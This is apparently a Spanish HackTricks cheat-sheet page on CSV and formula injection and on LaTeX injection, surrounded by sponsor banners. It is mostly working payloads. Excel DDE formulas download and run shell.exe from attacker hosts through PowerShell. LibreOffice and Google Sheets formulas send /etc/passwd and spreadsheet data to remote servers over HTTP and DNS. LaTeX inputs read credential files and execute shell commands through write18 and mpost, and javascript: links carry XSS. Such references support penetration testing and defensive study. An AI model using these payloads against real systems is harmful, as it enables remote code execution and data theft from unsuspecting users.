# Inyección de Fórmulas/CSV/Doc/LaTeX/GhostScript
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)! Otras formas de apoyar a HackTricks: * Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
Encuentra vulnerabilidades que importan más para poder arreglarlas más rápido. Intruder rastrea tu superficie de ataque, realiza escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy. {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} *** ## Inyección de Fórmulas ### Información Si tu **entrada** se está **reflejando** dentro de archivos **CSV** (o cualquier otro archivo que probablemente se abrirá con **Excel**), podrías ser capaz de poner **fórmulas** de Excel que se **ejecutarán** cuando el usuario **abra el archivo** o cuando el usuario **haga clic en algún enlace** dentro de la hoja de Excel. {% hint style="danger" %} Hoy en día **Excel alertará** (varias veces) al **usuario cuando algo se cargue desde fuera de Excel** para prevenir acciones maliciosas. Por lo tanto, se debe aplicar un esfuerzo especial en Ingeniería Social al payload final. {% endhint %} ### [Lista de Palabras](https://github.com/payloadbox/csv-injection-payloads) ``` DDE ("cmd";"/C calc";"!A0")A0 @SUM(1+9)*cmd|' /C calc'!A0 =10+20+cmd|' /C calc'!A0 =cmd|' /C notepad'!'A1' =cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0 =cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1 ``` ### Hipervínculo **El siguiente ejemplo es muy útil para exfiltrar contenido de la hoja de cálculo final y realizar solicitudes a ubicaciones arbitrarias. Sin embargo, requiere que el usuario haga clic en el enlace (y acepte los avisos de advertencia).** Ejemplo tomado de [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit) Supongamos un escenario de ataque en el sistema de gestión de registros estudiantiles de una escuela. La aplicación permite a los profesores ingresar detalles de los estudiantes en la escuela. El atacante obtiene acceso a la aplicación y quiere que todos los profesores que usan la aplicación se vean comprometidos. Entonces, el atacante intenta realizar un ataque de inyección CSV a través de la aplicación web.\ El atacante necesita robar los detalles de otros estudiantes. Por lo tanto, el atacante utiliza la fórmula Hipervínculo y la ingresa al introducir los detalles del estudiante. ![](https://payatu.com/wp-content/uploads/2017/11/Selection\_008.png) Cuando el profesor exporta el CSV y hace clic en el hipervínculo, los datos sensibles se envían al servidor del atacante. ![](https://payatu.com/wp-content/uploads/2017/11/Selection\_009.png) El archivo CSV exportado contiene una carga maliciosa en su interior. ![](https://payatu.com/wp-content/uploads/2017/11/Selection\_010.png) Los detalles del estudiante se registran en el servidor web del atacante. ![](https://payatu.com/wp-content/uploads/2017/11/Selection\_011.png) ### RCE Para que este ejemplo funcione es **necesario habilitar la siguiente configuración**:\ Archivo → Opciones → Centro de confianza → Configuración del Centro de confianza → Contenido externo → Habilitar el lanzamiento del servidor de intercambio de datos dinámicos\ o el uso de una **versión antigua de Excel**. La buena noticia es que **esta carga se ejecuta automáticamente cuando se abre el archivo** (si el usuario acepta las advertencias). Es posible ejecutar una calculadora con la siguiente carga **`=cmd|' /C calc'!xxx`** ![](<../.gitbook/assets/image (25) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (8).png>) ### Más ```bash =cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1 ``` ### LFI **LibreOffice Calc** * Esto leerá la primera línea del archivo local /etc/passwd: `='file:///etc/passwd'#$passwd.A1` * Exfiltrarlo: `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)))` * Exfiltrar más de una línea: `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))` * Exfiltración DNS: `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),"."))` **Analizando el payload de exfiltración DNS:** * ‘file:///etc/passwd’#$passwd.A19 – Leerá la 19ª línea del archivo local /etc/passwd * ENCODEURL(‘file:///etc/passwd’#$passwd.A19) – Codifica la URL de los datos devueltos * MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41) – Similar a substring, lee datos desde el 1er carácter hasta el 41º – una forma muy práctica de restringir la longitud de los nombres de host DNS (límite de 254 caracteres en FQDN y 63 caracteres para una etiqueta, es decir, subdominio) * SUBSTITUTE(MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41),”%”,”-“) – reemplaza todas las instancias de % (el carácter especial de la codificación de URL) con guión – esto asegura que solo se usen caracteres DNS válidos * CONCATENATE((SUBSTITUTE(MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41),”%”,”-“)),”.\”) – Concatena la salida del archivo (después de que se haya realizado el procesamiento anterior) con el FQDN (para el cual tenemos acceso al host que es autoritativo para el dominio) * WEBSERVICE – Hará una solicitud para este nombre DNS inexistente que luego podemos analizar los registros (o ejecutar tcpdump, etc.) en el servidor de nombres DNS autoritativo para el cual tenemos control ### Exfiltración de datos OOB en Google Sheets Primero, presentemos algunas de las funciones más interesantes. **CONCATENATE**: Anexa cadenas una tras otra. ``` =CONCATENATE(A2:E2) ``` **IMPORTXML**: Importa datos de varios tipos de datos estructurados, incluyendo XML, HTML, CSV, TSV y fuentes XML RSS y ATOM. ``` =IMPORTXML(CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10") ``` **IMPORTFEED**: Importa un feed RSS o ATOM. ``` =IMPORTFEED(CONCAT("http://[remote IP:Port]//123.txt?v=", CONCATENATE(A2:E2))) ``` **IMPORTHTML**: Importa datos de una tabla o lista dentro de una página HTML. ``` =IMPORTHTML (CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)),"table",1) ``` **IMPORTRANGE**: Importa un rango de celdas de una hoja de cálculo especificada. ``` =IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2") ``` **IMAGE**: Inserta una imagen en una celda. ``` =IMAGE("https://[remote IP:Port]/images/srpr/logo3w.png") ``` ## Inyección LaTeX Normalmente, los servidores que encontrará en internet que **convierten código LaTeX a PDF** usan **`pdflatex`**.\ Este programa utiliza 3 atributos principales para permitir (o no) la ejecución de comandos: * **`--no-shell-escape`**: **Deshabilita** la construcción `\write18{command}`, incluso si está habilitada en el archivo texmf.cnf. * **`--shell-restricted`**: Igual que `--shell-escape`, pero **limitado** a un conjunto 'seguro' de **comandos predefinidos** (\*\*En Ubuntu 16.04 la lista está en `/usr/share/texmf/web2c/texmf.cnf`). * **`--shell-escape`**: **Habilita** la construcción `\write18{command}`. El comando puede ser cualquier comando de shell. Esta construcción normalmente está prohibida por razones de seguridad. Sin embargo, hay otras formas de ejecutar comandos, por lo que para evitar RCE es muy importante usar `--shell-restricted`. ### Leer archivo Puede que necesite ajustar la inyección con envoltorios como \[ o $. ```bash \input{/etc/passwd} \include{password} # load .tex file \lstinputlisting{/usr/share/texmf/web2c/texmf.cnf} \usepackage{verbatim} \verbatiminput{/etc/passwd} ``` #### Leer archivo de una sola línea ```bash \newread\file \openin\file=/etc/issue \read\file to\line \text{\line} \closein\file ``` #### Leer archivo de múltiples líneas ```bash \newread\file \openin\file=/etc/passwd \loop\unless\ifeof\file \read\file to\fileline \text{\fileline} \repeat \closein\file ``` ### Escribir archivo ```bash \newwrite\outfile \openout\outfile=cmd.tex \write\outfile{Hello-world} \closeout\outfile ``` ### Ejecución de comandos La entrada del comando será redirigida a stdin, usa un archivo temporal para obtenerla. ```bash \immediate\write18{env > output} \input{output} \input{|"/bin/hostname"} \input{|"extractbb /etc/passwd > /tmp/b.tex"} # allowed mpost command RCE \documentclass{article}\begin{document} \immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"} \end{document} # If mpost is not allowed there are other commands you might be able to execute ## Just get the version \input{|"bibtex8 --version > /tmp/b.tex"} ## Search the file pdfetex.ini \input{|"kpsewhich pdfetex.ini > /tmp/b.tex"} ## Get env var value \input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"} ## Get the value of shell_escape_commands without needing to read pdfetex.ini \input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"} ``` Si obtienes algún error de LaTex, considera usar base64 para obtener el resultado sin caracteres incorrectos. ```bash \immediate\write18{env | base64 > test.tex} \input{text.tex} ``` ```bash \input|ls|base4 \input{|"/bin/hostname"} ``` ### Cross Site Scripting De [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130) ```bash \url{javascript:alert(1)} \href{javascript:alert(1)}{placeholder} ``` ## Inyección de Ghostscript TODO: Crear un resumen con la información y técnicas más relevantes de [https://blog.redteam-pentesting.de/2023/ghostscript-overview/](https://blog.redteam-pentesting.de/2023/ghostscript-overview/) ## Referencias * [https://notsosecure.com/data-exfiltration-formula-injection-part1](https://notsosecure.com/data-exfiltration-formula-injection-part1) * [https://0day.work/hacking-with-latex/](https://0day.work/hacking-with-latex/) * [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection) * [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
Encuentra vulnerabilidades que importan más para poder solucionarlas más rápido. Intruder rastrea tu superficie de ataque, realiza escaneos proactivos de amenazas, encuentra problemas en todo tu stack tecnológico, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy. {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)! Otras formas de apoyar a HackTricks: * Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).